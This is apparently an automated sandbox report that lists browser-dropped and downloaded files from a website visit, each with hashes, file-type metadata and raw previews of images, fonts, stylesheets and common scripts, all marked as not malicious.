Preview:	L..................F.@.. ...$+.,....+....U..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.P....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.P....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.P....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.P..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.P...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8w.).....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 24 09:07:38 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9891012652473146
Encrypted:	false
SSDEEP:
MD5:	5E60FBA86E46E2F7F9AD1ABBEE06C130
SHA1:	1E22937C0C63F80AB865567B0D16A5169AA2DB9E
SHA-256:	FF0E3272297D46EE1BD64951FCC342E0D5BBD503DADA72E543E4DB6B79AD12F5
SHA-512:	199F6F04754371C337F3208220AC6AAE3383E43199C85D2E481D50ABFE3484D0BB96D98ED2B54D1BBE254856328EBA595F155C2A7912DDE30AC1BFEAD369D2C8
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....Nx:..U..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.P....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.P....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.P....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.P..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.P...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8w.).....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 24 09:07:38 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.998449686947883
Encrypted:	false
SSDEEP:
MD5:	BB556A1CB12E7ECDA1D9505F240993B5
SHA1:	1D72A406AD9CD18980B4DB9F7B0B434D7CAC8321
SHA-256:	2EF000EA53D4AD25136907D099077360BD24AB14878FB1827D7E7B7F18C72CCA
SHA-512:	E40917F4B92BA8DD35CC99489718FF8462E991E7520FBBC8A85841A51C30C23A2AFE1D43064EC5B6A7EEF8487011B52FBBDE38AE42D02A27E9733CECBAA6D4B0
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....i%..U..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.P....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.P....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.P....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.P..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.P...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8w.).....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	549
Entropy (8bit):	6.943052302431237
Encrypted:	false
SSDEEP:
MD5:	FD400ADA20E53B4BB4EFBBEB0C0E16FD
SHA1:	16C4AEFE874E9B5952A1E72528E1011BD38D8772
SHA-256:	E29475FE49A5A23D5ECA32E07367AA425D4A1F32D75DFE7E6D8D0398C35802CE
SHA-512:	3B144B04507C840A7A0A350480B4846D4A37B98551DA2B993879FE5995A48FCAAB0C3967ACDE6B57C6FEB3FB43E3F28B5CBFB7D69B9E8FDBF573EFD577626967
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR... ... .....D.......sRGB.........PLTE...........'..1..4...........&........H..H..7.......!K!#M.......5.....J..D&(Q56].....;.......8..;...........WXw68^[\{...st...G........@\^\|...OPqtu.......gh.JKm......ACf..2..9UVv...........OQr..8.x.....:tRNS..Y...Y....Y..............................................7......IDAT8..W..0..O.I.`..{...?e..D`.O......0,.D.D..I$&......T.@..A..:.1@.._<A.t6....A.vN...@&K..'.....@....+.Vk.W.lZoP.l1.F.......C...xb.....\|.D.....o....n...G.......f.....K.}hqB.............{.!zf1;.....IEND.B`.

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	unknown
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 18596, version 1.0
Category:	downloaded
Size (bytes):	18596
Entropy (8bit):	7.988788312296589
Encrypted:	false
SSDEEP:
MD5:	C83E4437A53D7F849F9D32DF3D6B68F3
SHA1:	FABEA5AD92ED3E2431659B02E7624DF30D0C6BBC
SHA-256:	D9BADA3A44BB2FFA66DEC5CC781CAFC9EF17ED876CD9B0C5F7EF18228B63CEBB
SHA-512:	C2CA1630F7229DD2DEC37E0722F769DD94FD115EEFA8EEBA40F9BB09E4FDAB7CC7D15F3DEEA23F50911FEAE22BAE96341A5BACA20B59C7982CAF7A91A51E152F
Malicious:	false
Reputation:	unknown
URL:	https://fonts.jimstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmWUlfBBc4.woff2
Preview:	wOF2......H...........H=................................\|.`..J.H..<........>..Z...x.6.$..0. ..~. ..)...%.m..t.D<...U.c....D....@........@e..a..R./<...p..q..q....S<.nm...X..(ER....e.....O.?Q_..FYH......ml.E..?;X0>.f.Y.,.n.a...._h8c.006U.cS..3.m.Or..I9..5.;.=..'!..c.O...W.K..f....k..&Xq..Y?.r...%.S..y.:q.......uD.d.R..'..Q,L.... e`..=?.{...e%{.....3+$.....NkF2...... ._}..2]....,.F.u.S4O.~w).G..../]}6.nVwKj.h@........5.7P....i..r........U?.........q..Cm......g...\.zu.....P..\|....5G$...4k$..L..g..".y..?..6...O...e..@..0TYh..v........M.....#B...O.i.G$.Bq..m.A.s~...A...c.....25K.....B..<..w.A....G.O...A......A,y"q....q<....N..{Ta..!.\|vzo.;9.5>.>....7I.i.Ld.4..y...].g.....'m_(...O-..}.K.(....R..2.q.z9.D..]..$.#$.:x..:{..m.OF...K[J. ......lpH.#%V....4.;l.<..J.6.T..a...I..\|..zj.k.-...y...#..e.1,s....<.HX.....z{L....'.$. "..tY..m.<.\8P. a.......x.W\.b.%...RA.\.... M.......v1......#...............`.c..%.Nc.d.qP.68....$<.O.S_7...U.].jn>@.3.c..wO..>.>a.qg....\..kb.

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 52 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.893325741442987
Encrypted:	false
SSDEEP:
MD5:	8244AF7FE59CC67A3B69CD98F19862C6
SHA1:	C0D505C27802EBC71C5D551A55D56A78138EA3A7
SHA-256:	F8917DA114B5593AFD3C934A2A588DB7191D6E645833B6809D81DE64722CD21A
SHA-512:	2E4E8B28E6627DA6D7576A74566826DD54A7A2CC0FA95E576DEEC38E887262F24BCEC488C9AEC30295E8015220F427169112FA3547407718E76A5D08D839AAA7
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...4...(......l......sRGB.........IDAThC.Y.L...>...=..jG\|.A.Z5b)...?...n......8..,.@...h... ...5Y....T....c..6.A%.L.2..W]...<....2..4.&....s.=.=..%..6H4<...s....A..w$...R........;.6....z....n..........'.. ..+V\|.v.c.A`Y.U..n.T.......A........\|.T*....(..P(..........)..G555.....h:.b.l....(.J..U..B<%...\.......!.o...,.H$BpO...a........"....t....w.a...T....!8i\Pk....%...j.....Am).J.....\|>.D".c.Z....^...x<..A.mll...c:M..2.....9..........b.x....j......R.\......H....z.s...V..gY.s:.]MMM..).B.a-...t:]. ...\|..\|.3^......w..0..b)))...p...<..`L..'Z..&..SJ.m6[.K.1...j..eY-..1.......+..1..%..j........j....h4...C..y..a...v...{..OMM.d.....V.u.[.......LFbbb:.fs..d.s..........<Z..(..Hg.Z.H@=...NM<.=.....x...2.een......&..z(..l.\|..,.T..#}..?.F..R.}..b.^....:.n.... ..1......LV.n.......N..V.y^ g\|..V.}...).m6.mI$....]UUU[<...#7."...........}ee...........B.J..>z.h...)....9.K.Ju...........~.$66....G.P(..N.d...Uii.f.N..h.4..MBH .F...Lk.x.....c.U......

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47691)
Category:	downloaded
Size (bytes):	47692
Entropy (8bit):	5.4016459163756165
Encrypted:	false
SSDEEP:
MD5:	9046FDD8B20F930F537279DEDE41E747
SHA1:	EBB905F60D71F45D056D42E6096736EA8C2D4BD9
SHA-256:	5AAC9E52F80011983676C03AD8120E0369E651E6357D0B05054026A3BC8EC32D
SHA-512:	F289C718B32D9E75E5725116D7696070C840426310B2A75E3EE66933E50B85BF738B4015FCFB8BAF7A8545B600B9820D85F8BB41C055FB0877C1420655E5E975
Malicious:	false
Reputation:	unknown
URL:	https://challenges.cloudflare.com/turnstile/v0/b/787bc399e22f/api.js
Preview:	"use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Ht(u,o,c,g,h,"next",l)}function h(l){Ht(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	231
Entropy (8bit):	6.725074433303473
Encrypted:	false
SSDEEP:
MD5:	547988BAC5584B4608466D761E16F370
SHA1:	C11BB71049702528402A31027F200184910A7E23
SHA-256:	70E32B2DB3F079BB0295A85A0DB15ED9E5926294DD947938D6CFA595F5AB18B4
SHA-512:	C4A76F6E94982D1CC02C2B67523A334E76BFDE525C1014D32DB9E7ECA0FA39A06F291ECFA94C8C6A49D488EA3ACF9C10DDF3CAD9515562010440863D0F08FBA3
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............w=.....sRGB.........IDATHK...1...Z......... #$#..-.. $$3..H...q.x.>.x..yY.\|.@h.......$.B/..*Ec...J.}.....Rl..^.......#-...f.6p.cJigf...G.<.!.z..>a.+j....&U.....E/.._.`.d...~_....7...4`....IEND.B`.

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8758), with no line terminators
Category:	downloaded
Size (bytes):	8758
Entropy (8bit):	5.736184019745784
Encrypted:	false
SSDEEP:
MD5:	CF85FD1B43230D8B2D492A2DEC6034A9
SHA1:	AFE0B06BA0A24F467B50CEA1FE872547E36D94CB
SHA-256:	12BDBDF31D5C4CCB392047565971BDBC2D26F5B9340101DF9939CD62BABD093E
SHA-512:	C3C3416E3FAE577BCF9D0C11C6567AFBFAC77513FA655FFA4C256C58C338AF58611EE0D2BA952ECB925B12FFDA52B4D02A4A59670D9A1F1018AA527B85105117
Malicious:	false
Reputation:	unknown
URL:	https://monaghans.jimdosite.com/cdn-cgi/challenge-platform/h/b/scripts/jsd/787bc399e22f/main.js?
Preview:	window._cf_chl_opt={cFPWv:'b'};~function(W,h,i,j,k,o,s,x){W=b,function(d,e,V,f,g){for(V=b,f=d();!![];)try{if(g=parseInt(V(300))/1(-parseInt(V(348))/2)+-parseInt(V(320))/3+-parseInt(V(308))/4+-parseInt(V(380))/5+parseInt(V(336))/6(parseInt(V(382))/7)+parseInt(V(319))/8+-parseInt(V(371))/9*(-parseInt(V(276))/10),g===e)break;else f.push(f.shift())}catch(E){f.push(f.shift())}}(a,794413),h=this\|\|self,i=h[W(279)],j={},j[W(390)]='o',j[W(392)]='s',j[W(305)]='u',j[W(335)]='z',j[W(345)]='n',j[W(334)]='I',j[W(280)]='b',k=j,h[W(359)]=function(g,E,F,G,a1,I,J,K,L,M,N){if(a1=W,E===null\|\|void 0===E)return G;for(I=n(E),g[a1(288)][a1(379)]&&(I=I[a1(372)](g[a1(288)][a1(379)](E))),I=g[a1(398)][a1(299)]&&g[a1(385)]?g[a1(398)][a1(299)](new g[(a1(385))](I)):function(O,a2,P){for(a2=a1,O[a2(375)](),P=0;P<O[a2(354)];O[P]===O[P+1]?O[a2(287)](P+1,1):P+=1);return O}(I),J='nAsAaAb'.split('A'),J=J[a1(343)][a1(374)](J),K=0;K<I[a1(354)];L=I[K],M=m(g,E,L),J(M)?(N=M==='s'&&!g[a1(341)](E[L]),a1(315)===F+L?H(F+L,M):N\|\|H

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	4802
Entropy (8bit):	5.415883081641602
Encrypted:	false
SSDEEP:
MD5:	A90A2E5B9A3C097A815681A49DA9E6A1
SHA1:	1142CB363AB1A35E64546ED886CFD00B5093F504
SHA-256:	308FCE1E8CC31B982E8ED8A78A0729F7935F0056FDCE41483C59691B1339599E
SHA-512:	B006B37B8EBF9FFBF3291AB773CE36E6F8AC671FE63DF080596C102E5651CB7B12FDBE407645ACFF84101EDDD777564BED23B66B12EC10CFE30B6420643B58E8
Malicious:	false
Reputation:	unknown
URL:	"https://fonts.jimstatic.com/css?display=swap&family=Roboto:400,700"
Preview:	/* cyrillic-ext /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.jimstatic.com/s/roboto/v32/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C8A, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./ cyrillic /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.jimstatic.com/s/roboto/v32/KFOmCnqEu92Fr1Mu5mxKOzY.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ greek-ext /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.jimstatic.com/s/roboto/v32/KFOmCnqEu92Fr1Mu7mxKOzY.woff2) format('woff2');. unicode-range: U+1F00-1FFF;.}./ greek */.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.jimstat

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	unknown
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 160x81, Suserng: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	2022
Entropy (8bit):	7.887973732362137
Encrypted:	false
SSDEEP:
MD5:	7B1B76B5CB3E7A98E128058737C37061
SHA1:	B5EE89B072B9A42FCFFA7BEFF84B18D1A86F029A
SHA-256:	3E13BA8B7E730C2407B47D851AF424D38079980C67AAE9552D26DF4B3E9BDA95
SHA-512:	0699667952CA3EA89D4B1EDE8D266026CC828BF0E6D35AF9BBF32311B866D79CD0068BB8B9D0109386B31270161E5A3453F72D384D65DF73DB160FBE2B4DBB32
Malicious:	false
Reputation:	unknown
URL:	"https://jimdo-storage.freetls.fastly.net/image/496040699/a74512bb-c6ed-4f21-adf1-2c123dc6d532.jpg?format=pjpg&quality=80,90&auto=webp&disable=upscale&width=160&height=81&trim=0,43,0,7"
Preview:	RIFF....WEBPVP8 .....'.....Q.>1..C"!..Z. ....k.g]...H.>.......7.o.oR/0........?..p.>.......U...........> =...-^`.+.?..~c.Ut/......@..?.........?..9...e.f.s........J29..d0}xA...`iC5L...hV~..^..'Q.(6N..uS8...'...x'U...>f..V....E............}!"...Fy.&\k.R...U.lPC.:.w.........Q...V....V..h.DpQ.^........}S.=g.0.Q..^..9i.Xv.y........8?kn...~.V..a...#..~hn.."....Y....\L3@.........lQt.B.]O.3......7..&.f.V.7...j...I.. ..x.M.FA$..w..'R..k..m9.q.$o.]\|G.]do...c......$q...p.7..r.b.......k93.yCh.X..5..&._.....E....h..x....qJ...49..u.g..lD%h).J...~...i.K..v3..~U%].9.11td.....]F\.O["...5......1YhH.'}b...]..V.)a.2..0.I...x..B..lx'0..V@...$...=...C.Y..Mr.....w.....)y5.N..f.#..p....Ve..S....QZ._...l..........r0Y..7. ..IDZ...`u../W...Z.'.yt.....4...UE..:0...Ty&.....!..7.U.:5......\...>.+...W..........WV.e..f.pj...u..`.(.....P.O....cZ3...Xa..n@...uq.$...\|6Z.E>+.........92k....?:'...z..s.&..^y...3.E.............[..".......t.....aJ1}6....]M..y....C\|..!4.YR

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (3041)
Category:	downloaded
Size (bytes):	125511
Entropy (8bit):	5.481419252848048
Encrypted:	false
SSDEEP:
MD5:	330F013E490C23ECCF4165233F84FCE9
SHA1:	D02A244218EAD5C4304443EE866C8DAE6E06CBFA
SHA-256:	F56B5EC40D7D6C6FF186940DDF6D916591E9B2C6621409C71B961966B25BB31B
SHA-512:	991CC5634F5E84AE560B1754680CCBDB40CF2898EBB458E048008412B0BA6A16C6A30A228A2FBA241BD074B83D53C9979643BD8EC0FA516832B5315F8911092D
Malicious:	false
Reputation:	unknown
URL:	https://jimdo-dolphin-static-assets-prod.freetls.fastly.net/renderer/static/ced99261023eeb9abb2a.css
Preview:	.rdtDR{position:relative;z-index:3;width:100%}.EiaDC{z-index:4}.eP8Dq{display:flex;flex-direction:column}...hcw3J{color:#323335}.hcw3J a:hover{color:#535353}.KNvh9{color:#fff}.KNvh9 a:hover{color:#dcdcdc}..sTtmz{word-wrap:break-word;word-break:break-word;overflow-wrap:break-word;box-sizing:border-box;width:100%;padding:20px 0}.sTtmz.FG8T_{padding:5px}.sTtmz a,.sTtmz a:hover{color:inherit}.sTtmz ol,.sTtmz ul{margin:0 0 0 30px;padding:0}.jkRjK h1,.jkRjK h2,.jkRjK h3,.jkRjK h4,.jkRjK h5,.jkRjK h6,.jkRjK li,.jkRjK p{display:inline;margin-right:4px;font-weight:400;font-size:18px}..YH0K9{position:relative;width:100%;padding:0;line-height:0}.YH0K9.gBwSj{background:#181818}.YH0K9.gBwSj.S5qxR{background:none}.YH0K9.BuD0P{background:#f2f2f2}.YH0K9.aPnO4{background:#fff}.YH0K9.mLGql{margin:auto}.YH0K9.bDzAf,.YH0K9.zDzDH{flex-grow:1}.YH0K9 iframe{width:100%;height:500px;border:0}.YH0K9 iframe.sK02L{height:232px}.YH0K9 iframe.GZWz7{height:450px}.YH0K9 iframe.U5VF7{height:175px}.gszAl{position:relat

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 263 x 31, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	4022
Entropy (8bit):	7.933685664446488
Encrypted:	false
SSDEEP:
MD5:	EF984B9CE53801ADAE1FAE29B5A5792F
SHA1:	653DE3EACDAA9B38634892A021FF63CC46D84C2E
SHA-256:	C2B2CA401F18B83BB197CED34FB80BAE4A3E3E2259F86CE4946EFE36BB7ACADF
SHA-512:	1D447C32A79198B4EAAAB54A6A7483D9E107A41721CDB2DE88EE282F57ED97ADEB9CAFD6AA77C30CF36D7A886FC48960FE317B225FE1CF1035DCD9F10631334D
Malicious:	false
Reputation:	unknown
URL:	https://aweitapp.com/zeng/advance/auth/page/images/verify.png
Preview:	.PNG........IHDR..............Y......sRGB.........gAMA......a.....pHYs..........o.d...KIDATx^...Us......J4...,.DQ..[..5BH5.aj"..)!#2...-...5.....8....N.=.{.{......w..=.......s_..Gj.....1C../.O.U.VI.N..;..v.!8.&.p.B...e........./;.s.7......H~..W.....W^yE...`O&.....z.r..g.k.....p..5k.rJ..s...w....c.9..R<.R..a....v...G..4q>p.7.\|sxn....U.....<..#2v.Xy.7d..2o.`.z....&...?.l..s.=..C.u.C.5Z?.h.{.9.>\|....;r.-...S.=..b.u.....K.....L.O>..-..~..?.0X.....e.M6....k..K....#./.."...j.&r..7./.(.?..<..C.e.`OJUc...\...K..i.....0..1e>...P9..d..z...).."].v.&M..W^.!.E...O?u.(..].H....zJ..G.9..Se.M7.+..B.>..`..n..?. .<.\t.E.....{2._p.....>...e.e...B@....h..}z...}....xV.^...4(<.e...%%%.5...-].4....`...[.n....b..~.N?..P....b.6i...7.~...2..VA6..E...d..6.....i.!%%?.B@.].v...{.....~..'{.[NII.0....D.w..!...J....m..6..z..G..).ww.g.]wu..Y.$...g.....r8..#..d..<.@...........;.m...(1=......t.I...?.G...w...=..........._....CZ..O..z,..(+W

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1700
Entropy (8bit):	5.33845854465642
Encrypted:	false
SSDEEP:
MD5:	D4D3BF56F6DCF7B0220086286683B0DB
SHA1:	3F62226BD5AC9DF07A47BACE316C7348E27809DA
SHA-256:	2312D413C757DA161B5B3FE8394ACC86414CC6888937866918B68EAD29222083
SHA-512:	F1259EB6A04CBCFA9C7A0AAFE0B0A8D470F0FD273B9EF96E9C0710391659943D74C552016B70401B2777486FCAEE60121CF879AF30300D4E3D7F45AE90330AFD
Malicious:	false
Reputation:	unknown
URL:	"https://fonts.jimstatic.com/css?display=swap&family=Poppins:600,700"
Preview:	/* latin-ext /.@font-face {. font-family: 'Poppins';. font-style: normal;. font-weight: 600;. font-display: swap;. src: url(https://fonts.jimstatic.com/s/poppins/v22/pxiByp8kv8JHgFVrLEj6Z1JlFc-K.woff2) format('woff2');. unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+02CE-02D7, U+02DD-02FF, U+0304, U+0308, U+0329, U+1D00-1DBF, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;.}./ latin /.@font-face {. font-family: 'Poppins';. font-style: normal;. font-weight: 600;. font-display: swap;. src: url(https://fonts.jimstatic.com/s/poppins/v22/pxiByp8kv8JHgFVrLEj6Z1xlFQ.woff2) format('woff2');. unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;.}./ latin-ext */.@font-face {. font-family: 'Poppins';. font-style: normal;. font-weight: 700;. font-display: swap;. src: url(https://fonts.jimsta

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	60
Entropy (8bit):	4.842749405075779
Encrypted:	false
SSDEEP:
MD5:	3E3A9DBE5828D868CF824DB636665521
SHA1:	96E9874716E098DDAEAFE1A30A3AD201085B1A28
SHA-256:	F9A7BA5B9CEFD0301A4367E653D5EFBE8F6913977C6CB137811D554CE936E941
SHA-512:	C4C3A4A94F2CAB65AA70BB5A99D63F0DF55A26A814BB4B753C9886D9C48CAC96F57BF7E06027E18450830287CF975B0783B47E2A9F065F976EAEB4494056D60F
Malicious:	false
Reputation:	unknown
